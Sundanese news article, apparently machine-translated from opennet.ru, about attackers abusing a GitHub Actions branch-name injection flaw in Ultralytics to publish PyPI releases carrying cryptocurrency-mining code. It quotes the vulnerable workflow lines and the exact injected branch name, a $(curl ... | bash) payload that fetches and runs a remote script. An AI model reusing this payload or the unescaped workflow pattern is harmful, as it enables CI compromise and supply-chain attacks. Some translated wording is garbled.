Para panyerang tiasa ngaéksekusi kode sareng hak panangan GitHub Actions di gudang perpustakaan Ultralytics Python, anu dianggo pikeun ngarengsekeun masalah visi komputer sapertos ngadeteksi objék dina gambar sareng ngabagi gambar. Saatos kéngingkeun aksés kana gudang, panyerang nyebarkeun sababaraha sékrési Ultralytics anyar dina diréktori PyPI, anu kalebet parobihan jahat pikeun pertambangan cryptocurrency. Dina sabulan katukang, perpustakaan Ultralytics parantos diunduh tina katalog PyPI langkung ti 6.4 juta kali.
Pikeun kompromi gudang, kerentanan dipaké dina pakét ultralytics-aksi, nu dipaké pikeun otomatis ngajalankeun pawang lamun lampah tangtu dipigawé dina gudang on GitHub maké mékanisme GitHub Actions. Dina proyék ultralytics, pawang anu rentan kabeungkeut kana acara pull_request_target sareng disebat nalika pamundut tarik énggal sumping. Khususna, pikeun pormat kodeu dina pamundut tarikan anu dikirim, pawang format.yml disebut sareng kode anu ditunjuk dina bagian "run" file action.yml dieksekusi, anu ngandung paréntah cangkang kalayan pola substitusi: git pull origin. ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
Ku kituna, nami cabang Git anu disebatkeun dina pamundut tarik digantikeun kana paréntah cangkang tanpa kabur anu leres. Catet yén dina bulan Agustus, pakét ultralytics-aksi parantos ngalereskeun kerentanan anu sami anu aya hubunganana sareng panggunaan nilai éksternal dina fungsi gema: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »
Pikeun ngatur palaksanaan kodena dina konteks panangan GitHub Actions, panyerang ngirim pamenta tarik ka gudang ultralytics, netepkeun ieu salaku nami cabang: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Sasuai, nalika pamenta tarikan ditampi, senar anu diserang ku panyerang "$(...)" diselapkeun kana kode, anu, nalika pawang saterasna diluncurkeun, nyababkeun palaksanaan kodeu "curl -sSfL raw.githubusercontent. com/…/file.sh | bajigur".

Kodeu ngajalankeun dina konteks GitHub Actions tiasa dianggo pikeun moto token aksés gudang sareng data sénsitip anu sanés. Kumaha persisna panyerang junun ngahasilkeun sékrési, gaduh kamampuan pikeun ngaéksekusi kodeu di GitHub Actions, teu acan écés yén ieu janten mungkin kusabab parobihan dina panangan publish.yml (para panyerang ngaleungitkeun verifikasi tina éta; akun anu diidinan nyebarkeun sékrési di PyPI) sareng panggunaan téknologi karacunan GitHub Actions ngawangun cache pikeun nyelapkeun data anjeun kana sékrési éta.
Rilis jahat munggaran Ultralytics 8.3.41 dipedalkeun ku para panyerang dina PyPI dina 4 Désémber jam 23:51 PM (MSK) sareng dihapus jam 12:15 PM énjingna. Jam 15:47 PM, rilis anu sanés, 8.3.42, diposting sareng dihapus jam 16:47 PM. Ku kituna, vérsi jahat sayogi kanggo diunduh salami total sakitar 13 jam (PyPI ngarékam sakitar 250 unduhan perpustakaan ultralytics per dinten). Rilis 8.3.41 sareng 8.3.42 ngandung kode anu diunduh tina éksternal. sérver Komponen XMRig pikeun penambangan cryptocurrency.
Pamekar proyék ngalereskeun masalah sareng nyiptakeun sékrési koréksi 8.3.43 sareng 8.3.44, tapi dua dinten saatos serangan sanésna dilaksanakeun, dimana panyerang nyebarkeun dua sékrési jahat tambahan dinten ayeuna di 04:41 sareng 05:27 (MSK) - 8.3.45 jeung 8.3.46, nu ngawengku kode pertambangan séjén. Nepi ka ahir panalungtikan, pamaké disarankan pikeun ngeureunkeun masang versi anyar jeung ngalereskeun release 8.3.44 salaku dependensi.
sumber: opennet.ru
